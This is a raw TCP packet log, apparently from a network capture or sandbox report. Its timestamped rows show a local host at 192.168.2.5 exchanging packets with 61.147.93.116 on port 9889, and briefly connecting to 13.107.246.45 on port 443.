Oct 18, 2024 23:46:16.833300114 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.833311081 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.833318949 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.833455086 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.833482027 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.833497047 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.833525896 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.833549976 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.833904028 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.833929062 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.833945990 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.833961964 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.833967924 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.833967924 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.833978891 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.833986998 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.834007025 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.834021091 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.834333897 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.834348917 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.834393978 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.863565922 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.863596916 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.863620043 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.863642931 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.913615942 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.913662910 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.913701057 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.913722038 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.913736105 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.913764000 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.913764000 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.913789988 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.913789988 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.913825989 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.913844109 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.913862944 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.913878918 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.913902044 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.913917065 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.913955927 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.914225101 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.914258957 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.914268017 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.914294004 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.914318085 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.914329052 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.914351940 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.914376974 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.950571060 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.950620890 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.950658083 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.950658083 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.950679064 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.950709105 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.950917006 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.950948954 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.950968027 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.950989008 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.951001883 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.951037884 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.951051950 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.951073885 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.951087952 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.951108932 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.951122046 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.951154947 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.951529980 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.951564074 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.951591015 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.951597929 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.951606989 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.951639891 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.980698109 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.980770111 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.980788946 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.980835915 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.981005907 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.981034994 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:16.981057882 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:16.981067896 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.030860901 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.030878067 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.030894041 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.030915022 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.030930996 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.030930996 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.030976057 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.031136990 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.031182051 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.031188965 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.031205893 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.031236887 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.031246901 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.031261921 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.031295061 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.031311035 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.031325102 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.032797098 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.032841921 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.032860041 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.032875061 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.032900095 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.032913923 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.067233086 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.067265987 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.067297935 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.067315102 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.067338943 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.068072081 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.068101883 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.068119049 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.068135977 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.068146944 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.068178892 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.068188906 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.068223000 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.068234921 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.068257093 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.068264008 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.068298101 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.068707943 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.068747044 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.068759918 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.068780899 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.068789005 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.068820953 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.098242044 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.098278046 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.098309994 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.098311901 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.098326921 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.098351002 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.148763895 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.148787022 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.148803949 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.148821115 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.148837090 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.148852110 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.148859024 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.148868084 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.148885965 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.148886919 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.148905039 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.148920059 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.148925066 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.148932934 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.148936987 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.148952961 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.148962975 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.148972034 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.148986101 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.149008989 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.184453964 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.184488058 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.184503078 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.184550047 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.185295105 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.185321093 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.185324907 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.185340881 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.185359955 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.185395956 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.185432911 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.185450077 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.185467005 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.185489893 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.185516119 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.185677052 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.185796022 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.185811996 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.185827971 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.185853004 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.185889006 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.185889006 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.215039015 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.215058088 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.215075970 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.215120077 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.215133905 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.266477108 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.266495943 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.266511917 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.266529083 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.266530037 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.266547918 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.266549110 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.266566038 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.266578913 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.266583920 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.266607046 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.266633034 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.266664028 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.266680956 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.266716003 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.266726017 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.266793966 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.266838074 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.266856909 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.266859055 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.266886950 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.266901016 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.301225901 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.301264048 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.301279068 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.301295996 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.301364899 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.302334070 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.302393913 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.302411079 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.302426100 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.302440882 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.302454948 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.302458048 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.302473068 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.302484989 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.302504063 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.302542925 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.302792072 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.302840948 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.302859068 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.302882910 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.302958012 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.302977085 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.302992105 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.303004026 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.303023100 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.303036928 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.332154989 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.332176924 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.332195044 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.332240105 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.332267046 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.383111954 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.383142948 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.383160114 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.383203983 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.383217096 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.383220911 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.383239031 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.383255959 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.383270979 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.383301973 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.383584023 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.383631945 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.383641005 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.383658886 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.383680105 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.383702993 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.383846045 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.383891106 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.383897066 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.383913994 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.383935928 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.383954048 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.383980036 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.383996964 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.384016991 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.384030104 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.418442011 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.418458939 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.418473959 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.418507099 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.418530941 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.419294119 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.419341087 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.419537067 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.419552088 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.419568062 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.419579983 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.419584990 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.419609070 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.419636011 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.419708014 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.419723034 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.419739008 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.419751883 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.419754982 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.419768095 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.419789076 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.419802904 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.420258999 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.420274019 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.420306921 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.420316935 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.449187040 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.449234009 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.449249029 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.449249983 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.449281931 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.449310064 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.500010014 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.500085115 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.500112057 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.500122070 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.500144005 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.500159025 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.500178099 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.500191927 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.500204086 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.500339985 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.500390053 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.500425100 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.500447989 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.500456095 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.500458956 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.500509977 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.500844955 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.500895977 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.500942945 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.500993013 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.500997066 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.501029015 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.501044989 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.501063108 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.501075983 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.501101017 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.501113892 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.501152992 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.501502037 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:17.501559973 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:17.501595020 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.501633883 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:17.501660109 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:17.501662016 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:17.501712084 CEST	49720	9889	192.168.2.5	61.147.93.116
